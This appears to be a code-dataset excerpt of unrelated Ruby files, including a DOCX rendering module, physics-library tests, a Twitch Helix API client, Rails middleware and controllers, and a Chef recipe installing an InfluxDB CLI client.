r_attr.value = "rId#{ index }"
end
p_parent = r_node.parent.parent
p_node = p_parent.children[0].children[0]
if p_attr = p_node.attributes['id']
p_attr.value = index.to_s
end
end
xml << fragment.to_s
end
end
def render_image(xml, model)
unless ds = document.default_style
raise Caracal::Errors::NoDefaultStyleError 'Document must declare a default paragraph style.'
end
rel = document.relationship({ type: :image, target: model.image_url, data: model.image_data })
rel_id = rel.relationship_id
rel_name = rel.formatted_target
xml['w'].p paragraph_options do
xml['w'].pPr do
xml['w'].spacing({ 'w:lineRule' => 'auto', 'w:line' => ds.style_line })
xml['w'].contextualSpacing({ 'w:val' => '0' })
xml['w'].jc({ 'w:val' => model.image_align.to_s })
xml['w'].rPr
end
xml['w'].r run_options do
xml['w'].drawing do
xml['wp'].inline({ distR: model.formatted_right, distT: model.formatted_top, distB: model.formatted_bottom, distL: model.formatted_left }) do
xml['wp'].extent({ cx: model.formatted_width, cy: model.formatted_height })
xml['wp'].effectExtent({ t: 0, b: 0, r: 0, l: 0 })
xml['wp'].docPr({ id: rel_id, name: rel_name })
xml['a'].graphic do
xml['a'].graphicData({ uri: 'http://schemas.openxmlformats.org/drawingml/2006/picture' }) do
xml['pic'].pic do
xml['pic'].nvPicPr do
xml['pic'].cNvPr({ id: rel_id, name: rel_name })
xml['pic'].cNvPicPr
end
xml['pic'].blipFill do
xml['a'].blip({ 'r:embed' => rel.formatted_id })
xml['a'].srcRect
xml['a'].stretch do
xml['a'].fillRect
end
end
xml['pic'].spPr do
xml['a'].xfrm do
xml['a'].ext({ cx: model.formatted_width, cy: model.formatted_height })
end
xml['a'].prstGeom({ prst: 'rect' })
xml['a'].ln
end
end
end
end
end
end
end
xml['w'].r run_options do
xml['w'].rPr do
xml['w'].rtl({ 'w:val' => '0' })
end
end
end
end
def render_linebreak(xml, model)
xml['w'].r do
xml['w'].br
end
end
def render_link(xml, model)
if model.external?
rel = document.relationship({ target: model.link_href, type: :link })
hyperlink_options = { 'r:id' => rel.formatted_id }
else
hyperlink_options = { 'w:anchor' => model.link_href }
end
xml['w'].hyperlink(hyperlink_options) do
xml['w'].r run_options do
render_run_attributes(xml, model, false)
xml['w'].t({ 'xml:space' => 'preserve' }, model.link_content)
end
end
end
def render_list(xml, model)
if model.list_level == 0
document.toplevel_lists << model
list_num = document.toplevel_lists.length # numbering uses 1-based index
end
model.recursive_items.each do |item|
render_listitem(xml, item, list_num)
end
end
def render_listitem(xml, model, list_num)
ls = document.find_list_style(model.list_item_type, model.list_item_level)
hanging = ls.style_left.to_i - ls.style_indent.to_i - 1
xml['w'].p paragraph_options do
xml['w'].pPr do
xml['w'].numPr do
xml['w'].ilvl({ 'w:val' => model.list_item_level })
xml['w'].numId({ 'w:val' => list_num })
end
xml['w'].ind({ 'w:left' => ls.style_left, 'w:hanging' => hanging })
xml['w'].contextualSpacing({ 'w:val' => '1' })
xml['w'].rPr do
xml['w'].u({ 'w:val' => 'none' })
end
end
model.runs.each do |run|
method = render_method_for_model(run)
send(method, xml, run)
end
end
end
def render_pagebreak(xml, model)
if model.page_break_wrap
xml['w'].p paragraph_options do
xml['w'].r run_options do
xml['w'].br({ 'w:type' => 'page' })
end
end
else
xml['w'].r run_options do
xml['w'].br({ 'w:type' => 'page' })
end
end
end
def render_paragraph(xml, model)
run_props = [:color, :size, :bold, :italic, :underline].map { |m| model.send("paragraph_#{ m }") }.compact
xml['w'].p paragraph_options do
xml['w'].pPr do
xml['w'].pStyle({ 'w:val' => model.paragraph_style }) unless model.paragraph_style.nil?
# xml['w'].contextualSpacing({ 'w:val' => '0' })
xml['w'].spacing({ 'w:line' => '240', 'w:lineRule' => 'auto', 'w:val' => '0' })
xml['w'].jc({ 'w:val' => model.paragraph_align }) unless model.paragraph_align.nil?
render_run_attributes(xml, model, true)
end
model.runs.each do |run|
method = render_method_for_model(run)
send(method, xml, run)
end
end
end
def render_rule(xml, model)
options = { 'w:color' => model.rule_color, 'w:sz' => model.rule_size, 'w:val' => model.rule_line, 'w:space' => model.rule_spacing }
xml['w'].p paragraph_options do
xml['w'].pPr do
xml['w'].pBdr do
xml['w'].top options
end
end
end
end
def render_text(xml, model)
xml['w'].r run_options do
render_run_attributes(xml, model, false)
xml['w'].t({ 'xml:space' => 'preserve' }, model.text_content)
end
end
def render_table(xml, model)
borders = %w(top left bottom right horizontal vertical).select do |m|
model.send("table_border_#{ m }_size") > 0
end
xml['w'].tbl do
xml['w'].tblPr do
xml['w'].tblStyle({ 'w:val' => 'DefaultTable' })
xml['w'].bidiVisual({ 'w:val' => '0' })
xml['w'].tblW({ 'w:w' => model.table_width.to_f, 'w:type' => 'dxa' })
xml['w'].tblInd({ 'w:w' => '0.0', 'w:type' => 'dxa' })
xml['w'].jc({ 'w:val' => model.table_align })
unless borders.empty?
xml['w'].tblBorders do
borders.each do |m|
options = {
'w:color' => model.send("table_border_#{ m }_color"),
'w:val' => model.send("table_border_#{ m }_line"),
'w:sz' => model.send("table_border_#{ m }_size"),
'w:space' => model.send("table_border_#{ m }_spacing")
}
xml['w'].method_missing "#{ Caracal::Core::Models::BorderModel.formatted_type(m) }", options
end
end
end
xml['w'].tblLayout({ 'w:type' => 'fixed' })
xml['w'].tblLook({ 'w:val' => '0600' })
end
xml['w'].tblGrid do
model.rows.first.each do |tc|
(tc.cell_colspan || 1).times do
xml['w'].gridCol({ 'w:w' => tc.cell_width })
end
end
xml['w'].tblGridChange({ 'w:id' => '0' }) do
xml['w'].tblGrid do
model.rows.first.each do |tc|
(tc.cell_colspan || 1).times do
xml['w'].gridCol({ 'w:w' => tc.cell_width })
end
end
end
end
end
rowspan_hash = {}
model.rows.each do |row|
xml['w'].tr do
tc_index = 0
row.each do |tc|
xml['w'].tc do
xml['w'].tcPr do
xml['w'].shd({ 'w:fill' => tc.cell_background })
xml['w'].vAlign({ 'w:val' => tc.cell_vertical_align })
# applying rowspan
if tc.cell_rowspan && tc.cell_rowspan > 0
rowspan_hash[tc_index] = tc.cell_rowspan - 1
xml['w'].vMerge({ 'w:val' => 'restart' })
elsif rowspan_hash[tc_index] && rowspan_hash[tc_index] > 0
xml['w'].vMerge({ 'w:val' => 'continue' })
rowspan_hash[tc_index] -= 1
end
# applying colspan
xml['w'].gridSpan({ 'w:val' => tc.cell_colspan }) if tc.cell_colspan
xml['w'].tcMar do
%w(top left bottom right).each do |d|
xml['w'].method_missing "#{ d }", { 'w:w' => tc.send("cell_margin_#{ d }").to_f, 'w:type' => 'dxa' }
end
end
end
tc.contents.each do |m|
method = render_method_for_model(m)
send(method, xml, m)
end
end
# adjust tc_index for next cell taking into account current cell's colspan
tc_index += (tc.cell_colspan && tc.cell_colspan > 0) ? tc.cell_colspan : 1
end
end
end
end
end
#============= OPTIONS ===================================
def root_options
opts = {}
document.namespaces.each do |model|
opts[model.namespace_prefix] = model.namespace_href
end
unless document.ignorables.empty?
v = document.ignorables.join(' ')
opts['mc:Ignorable'] = v
end
opts
end
def page_margin_options
{
'w:top' => document.page_margin_top,
'w:bottom' => document.page_margin_bottom,
'w:left' => document.page_margin_left,
'w:right' => document.page_margin_right
}
end
def page_size_options
{
'w:w' => document.page_width,
'w:h' => document.page_height,
'w:orient' => document.page_orientation
}
end
end
end
end
| 37.198135 | 155 | 0.464407 |
ac8728f79040296e2d219fe0d74cabd055bdd65d | 1,121 | # frozen_string_literal: true
require "test_helper"
require "error_messages"
class TestXrayfid < Minitest::Test
include Xrayfid
def test_fluor_yield_method_82_k
assert_in_delta 1.0 - auger_yield(82, K_SHELL), fluor_yield(82, K_SHELL), 1e-6
end
def test_fluor_yield_method_82_m3
assert_in_delta 0.0050475, fluor_yield(82, M3_SHELL), 1e-6
end
def test_fluor_yield_method_74_l3
assert_in_delta 0.255, fluor_yield(74, L3_SHELL), 1e-6
end
def test_fluor_yield_method_50_l1
assert_in_delta 0.036, fluor_yield(50, L1_SHELL), 1e-6
end
def test_fluor_yield_method_neg_35
error = assert_raises XrlInvalidArgumentError do
fluor_yield(-35, K_SHELL)
end
assert_equal Z_OUT_OF_RANGE, error.message
end
def test_fluor_yield_method_82_unknown
error = assert_raises XrlInvalidArgumentError do
fluor_yield(82, -1)
end
assert_equal UNKNOWN_SHELL, error.message
end
def test_fluor_yield_method_26_m5
error = assert_raises XrlInvalidArgumentError do
fluor_yield(25, M5_SHELL)
end
assert_equal INVALID_SHELL, error.message
end
end
| 22.877551 | 82 | 0.764496 |
1da524304c8b0c3e8f5a258c27de000dfb7a576b | 220 | module LogStashLogger
class Middleware
def initialize(app)
@app = app
end
def call(env)
@app.call(env)
ensure
Rails.logger.commit if Rails.logger.respond_to? :commit
end
end
end | 16.923077 | 61 | 0.640909 |
4a96e69b38b62ca20cb54a982c00abec56c0080a | 4,749 | require "faraday"
require "faraday_middleware"
require "twitch/response"
require "twitch/api_error"
require "twitch/clip"
require "twitch/entitlement_grant_url"
require "twitch/game"
require "twitch/stream"
require "twitch/stream_metadata"
require "twitch/user"
require "twitch/user_follow"
require "twitch/video"
module Twitch
class Client
# Helix API endpoint.
API_ENDPOINT = "https://api.twitch.tv/helix".freeze
# Initializes a Twitch client.
#
# - client_id [String] The client ID.
# Used as the Client-ID header in a request.
# - access_token [String] An access token.
# Used as the Authorization header in a request.
# Any "Bearer " prefix will be stripped.
def initialize(client_id: nil, access_token: nil)
if client_id.nil? && access_token.nil?
raise "An identifier token (client ID or bearer token) is required"
elsif !!client_id && !!access_token
warn(%{WARNING:
It is recommended that only one identifier token is specified.
Unpredictable behavior may follow.})
end
headers = {
"User-Agent": "twitch-api ruby client #{Twitch::VERSION}"
}
unless client_id.nil?
headers["Client-ID"] = client_id
end
unless access_token.nil?
access_token = access_token.gsub(/^Bearer /, "")
headers["Authorization"] = "Bearer #{access_token}"
end
@conn = Faraday.new(API_ENDPOINT, { headers: headers }) do |faraday|
faraday.request :json
faraday.response :json
faraday.adapter Faraday.default_adapter
end
end
def create_clip(options = {})
res = post('clips', options)
clip = res[:data].map { |c| Clip.new(c) }
Response.new(clip, res[:rate_limit_headers])
end
def create_entitlement_grant_url(options = {})
res = post('entitlements/upload', options)
entitlement_grant = res[:data].map { |e| EntitlementGrantUrl.new(e) }
Response.new(entitlement_grant, res[:rate_limit_headers])
end
def get_clips(options = {})
res = get('clips', options)
clips = res[:data].map { |c| Clip.new(c) }
Response.new(clips, res[:rate_limit_headers])
end
def get_games(options = {})
res = get('games', options)
games = res[:data].map { |g| Game.new(g) }
Response.new(games, res[:rate_limit_headers])
end
def get_top_games(options = {})
res = get('games/top', options)
games = res[:data].map { |g| Game.new(g) }
Response.new(games, res[:rate_limit_headers], res[:pagination])
end
def get_streams(options = {})
res = get('streams', options)
streams = res[:data].map { |s| Stream.new(s) }
Response.new(streams, res[:rate_limit_headers], res[:pagination])
end
def get_streams_metadata(options = {})
res = get('streams/metadata', options)
stream_metadata = res[:data].map { |s| StreamMetadata.new(s) }
Response.new(stream_metadata, res[:rate_limit_headers], res[:pagination])
end
def get_users_follows(options = {})
res = get('users/follows', options)
users = res[:data].map { |u| UserFollow.new(u) }
Response.new(users, res[:rate_limit_headers], res[:pagination])
end
def get_users(options = {})
res = get('users', options)
users = res[:data].map { |u| User.new(u) }
Response.new(users, res[:rate_limit_headers])
end
def update_user(options = {})
res = put('users', options)
user = res[:data].map { |u| User.new(u) }
Response.new(user, res[:rate_limit_headers])
end
def get_videos(options = {})
res = get('videos', options)
videos = res[:data].map { |v| Video.new(v) }
Response.new(videos, res[:rate_limit_headers], res[:pagination])
end
private
def get(resource, params)
http_res = @conn.get(resource, params)
finish(http_res)
end
def post(resource, params)
http_res = @conn.post(resource, params)
finish(http_res)
end
def put(resource, params)
http_res = @conn.put(resource, params)
finish(http_res)
end
def finish(http_res)
unless http_res.success?
raise ApiError.new(http_res.status, http_res.body)
end
rate_limit_headers = Hash[http_res.headers.select do |k,v|
k.to_s.downcase.match(/^ratelimit/)
end.map { |k,v| [k.gsub('ratelimit-', '').to_sym, v] }]
if http_res.body.key?('pagination')
pagination = http_res.body['pagination']
end
{
data: http_res.body['data'],
pagination: pagination,
rate_limit_headers: rate_limit_headers
}
end
end
end
| 28.100592 | 79 | 0.623079 |
5dd0fc32fb4c34307895a87bf244f56b6658a1ad | 373 | module Rack
module OAuth2
class AccessToken
class MTLS < Bearer
attr_required :private_key, :certificate
def initialize(attributes = {})
super
self.token_type = :bearer
httpclient.ssl_config.client_key = private_key
httpclient.ssl_config.client_cert = certificate
end
end
end
end
end
| 21.941176 | 57 | 0.627346 |
332bfc3a80c63c4649e092e65210db0f9e46c804 | 797 | # frozen_string_literal: true
require "delayed/plugin"
module Delayed
class RailsReloaderPlugin < Plugin
callbacks do |lifecycle|
app = Rails.application
if app && !app.config.cache_classes
lifecycle.around(:perform) do |worker, job, &block|
reload = !app.config.reload_classes_only_on_change || app.reloaders.any?(&:updated?)
if reload
if defined?(ActiveSupport::Reloader)
Rails.application.reloader.reload!
else
ActionDispatch::Reloader.prepare!
end
end
begin
block.call(worker, job)
ensure
ActionDispatch::Reloader.cleanup! if reload && !defined?(ActiveSupport::Reloader)
end
end
end
end
end
end
| 25.709677 | 94 | 0.598494 |
bba0039064eb89110fd53ebbf84bd759d321beeb | 141 | module Types
class Models::USERNAMEType < Types::BaseObject
field :id, ID, null: false
field :email, String, null: false
end
end
| 20.142857 | 48 | 0.695035 |
6a3f47dc78c2ec6c311078cc0b5e8920f3800e35 | 833 | # recipes/cli_client.rb
#
# Author: Simple Finance <[email protected]>
# License: Apache License, Version 2.0
#
# Copyright 2013 Simple Finance Technology Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Installs the InfluxDB CLI client
include_recipe 'nodejs::default'
nodejs_npm 'influxdb-cli' do
action :install
end
| 30.851852 | 74 | 0.763505 |
b96838691e2ce100c53118876bf24cf33fd768f7 | 640 | class ReviewsController < ApplicationController
before_action { @game = Game.find(params[:game_id])}
def index
@reviews = Review.all
end
def new
@review = Review.new
end
def create
@review = Review.new(review_params)
@review.user_id = current_user.id
@review.game_id = @game.id
if @review.save
redirect_to game_path(@game)
else
render 'new'
end
end
def show
@review = Review.find(params[:id])
end
def edit
@review = Review.find(params[:id])
end
private
def review_params
params.require(:review).permit(:title, :content, :game_id, :user_id)
end
end
| 16.842105 | 72 | 0.653125 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.